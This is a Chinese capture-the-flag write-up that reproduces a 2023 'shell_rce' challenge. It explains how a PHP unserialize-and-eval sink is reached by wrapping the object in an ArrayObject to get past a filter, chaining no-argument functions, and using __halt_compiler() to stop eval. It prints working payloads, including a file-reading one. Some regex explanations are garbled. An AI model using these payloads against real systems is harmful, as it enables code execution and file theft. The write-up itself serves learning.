在 2023 年湖南农业大学邀请赛的线上初赛中,有一道 shell_rce 题,本文将复现该题。
题目内容,打开即是代码:
class shell{
public $exp;
public function __destruct(){
$str = preg_replace('/[^\W]+\((?R)?\)/', '', $this->exp);
$code = substr($str , 0, 1);
if(preg_match("/^[$code]+$/",$str))
{
eval($this->exp." hello world!");
}
}
}
if(!isset($_GET['exp'])){
highlight_file(__FILE__);
}
if(!preg_match('/^[Oa]|get/i',$_GET['exp'])){
unserialize($_GET['exp']);
}
注意到在反序列化之前先进行了一个判断
preg_match('/^[Oa]|get/i',$_GET['exp'])
。
这段代码使用 PHP 的 preg_match 函数对 $_GET[‘exp’] 变量进行正则表达式匹配。具体而言,该正则表达式为 “1|get”,其解释如下:
因此,该正则表达式可以匹配的字符串包括:
在本代码中,若 $_GET[‘exp’] 变量与上述正则表达式匹配成功,则返回 true,否则返回 false。
如此一来,常见的序列化字符串和数组绕过的方法都不管用了。
推荐博客:
https://fushuling.com/index.php/2023/03/11/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%ADwakeup%E7%BB%95%E8%BF%87%E6%80%BB%E7%BB%93/
这里只用 ArrayObject() 函数做演示,具体操作如下:
$exp = new shell();
$arr = array("exp"=>$exp);
$ao = new ArrayObject($arr);
echo serialize($ao);
这段 PHP 代码的作用如下:
创建一个名为 $exp 的对象,该对象是 shell 类的一个实例。
创建一个名为 $arr 的数组,其中只有一个元素,即键名为 “exp”,键值为 $exp。
使用 PHP 内置函数 ArrayObject 对 $arr 进行实例化,获得一个名为 $ao 的 ArrayObject 对象。
调用 PHP 内置函数 serialize 将 $ao 序列化,即将其转换成可以存储或传输的字符串形式,输出结果到页面上。
通过以上操作,即可将序列化字符串变成以 C 开头的形式,绕过第一个检测。
输出结果:
C:11:"ArrayObject":59:{x:i:0;a:1:{s:3:"exp";O:5:"shell":1:{s:3:"exp";N;}};m:a:0:{}}
在 shell 类的 __destruct 方法中,有这样的过滤机制:
$str = preg_replace('/[^\W]+\((?R)?\)/', '', $this->exp);
会将该类中的属性 exp 作一个过滤
该段代码使用 PHP 的 preg_replace 函数对 $this->exp 字符串进行正则表达式替换。具体而言,该正则表达式为 “[^\W]+\((?R)?\)
”,其解释如下:
[^\W]+
表示匹配一个或多个非特殊字符(即字母或数字),这里的 ^\W 表示取反后表示非特殊字符(
表示匹配左括号(?R)
表示匹配一个递归到起始符号(即 “(?R)”)的表达式,即匹配一个嵌套的模式。所以该正则表达式能够处理有括号嵌套的情况)
表示匹配右括号因此,该正则表达式可以匹配的字符串为类似于 " functionName(args)
" 这样的字符串,并且支持函数嵌套,例如:functionName1(functionName2())
。其实际含义是匹配一个函数名后紧跟着一对括号,其中可以有递归式的参数列表。
当匹配到这种无参函数格式的字符串时,就会将其替换为空。
使用无参函数的话,所有的值都会被替换为空。假设函数有参,那么参数部分将会被保留,但是这样的话就无法通过后面的过滤了,具体为什么后面会讲。
因此,在 C 绕过的基础上,可以构造如下的 payload :
$exp->exp = "var_dump(scandir(current(localeconv())));"
这个 PHP 嵌套函数的作用如下:
localeconv()
函数返回当前设置的地区的格式化信息,包括货币符号、小数点符号等。它返回一个数组,其中包含了与当前地区相关的格式化参数,该函数返回的第一个元素的值通常是小数点 “.” 。
current()
函数用于获取数组中的当前元素的值。在这里,它用于获取 localeconv()
函数返回的数组的第一个元素的值,即一个小数点。
scandir()
函数用于获取指定目录中的文件和文件夹列表。它接受一个路径作为参数,并返回一个包含指定目录中所有文件和文件夹的数组。scandir(".")
表示获取当前目录下的文件列表。
因此,该代码的作用是获取当前地区的第一个格式化参数(通常是小数点符号),然后将该参数作为路径传递给 scandir() 函数,从而获取该路径下的文件和文件夹列表。最终,使用 var_dump() 函数将该列表输出到页面上,以便查看它们的详细信息。
因为 eval 函数的参数结尾必须要带分号,所以该字符串的末尾添加了分号,如此一来,str 字符串就只是一个分号了
在无参函数绕过之后,又进行了一次过滤:
$str = preg_replace('/[^\W]+\((?R)?\)/', '', $this->exp);
$code = substr($str , 0, 1);
if(preg_match("/^[$code]+$/",$str))
{
eval($this->exp." hello world!");
}
这段 PHP 代码的作用如下:
使用 substr 函数从字符串 $str 中取出第一个字符,并将其赋值给变量 $code。
使用正则表达式 “/^[$code]+$/
” 对字符串 s t r 进行匹配。其中, " ‘ [ str 进行匹配。其中,"`^[ str进行匹配。其中,"‘[code]+`" 匹配以 $code 中的字符开头,并且由 c o d e 中的字符组成的任何长度的字符串, " code 中的字符组成的任何长度的字符串," code中的字符组成的任何长度的字符串,"" 表示匹配到字符串结尾。总的来说,该正则表达式表示 $str 只包含 $code 中的字符。
如果匹配成功,即 $str 只包含 $code 中的字符,那么执行 eval 函数,将 $this->exp 和字符串 “hello world!” 连接在一起作为 PHP 代码执行。eval 函数可以将字符串作为 PHP 代码执行,因此这里相当于在执行 $this->exp 和 “hello world!” 的拼接结果。如果 $this->exp 中含有函数调用等需要被执行的代码,则会在这里被执行。
如果正则表达式匹配失败,即 $str 中含有 $code 中未包含的字符,则不执行 eval 函数。
已知 str 只是一个分号,那么 code 就也是一个分号,这样就能通过后面的过滤了。假如 str 不是只有分号的话,这里就过不去,所以上面要用无参函数。
到这里我们知道,$this->exp 字符串中有且只能有无参函数和分号,有多少个都可以,怎么排列都可以,但是不能有其他的东西。
但是问题来了:
eval($this->exp." hello world!");
这段代码做一个字符串拼接,导致 eval 函数无法正常执行,当时想了好久,知道赛后放 wp 才知道,__halt_compiler() 函数可以中断 eval() 的执行,这是连 exit() 都做不到的事。比如说:
eval(a();__halt_compiler(); hello world!)
那么 eval 函数执行完 a() 函数后,执行到 __halt_compiler() 函数时就会中断,不再执行后面的代码,也不会因为后面的代码不符合规范而报错。
据此,构造最终的 payload :
$exp = new shell();
$exp->exp = "var_dump(scandir(current(localeconv())));__halt_compiler();";
$arr = array("exp"=>$exp);
$ao = new ArrayObject($arr);
echo serialize($ao);
本地成功输出:
想要读取文件的话,修改 $exp->exp 的值就可以了。
官方的 wp 中使用 array_rand() 随机获取当前目录下的文件内容。
官方 wp :
var_dump(readfile(array_rand(array_flip(scandir(current(localeconv()))))));
array_flip() 反转数组中的键值对,即将数组中的每个值作为键,原来的键作为新的值。
array_rand() 随机获取反转后的数组中的一个键,即获取当前文件夹下随机一个文件或文件夹的名称。
输出结果:
在上面查看查看当前目录下文件时,返回的数组中还有 “.” 和 “…” 两个值,所以上面的 payload 可能会不成功,需要多试几次。
Oa ↩︎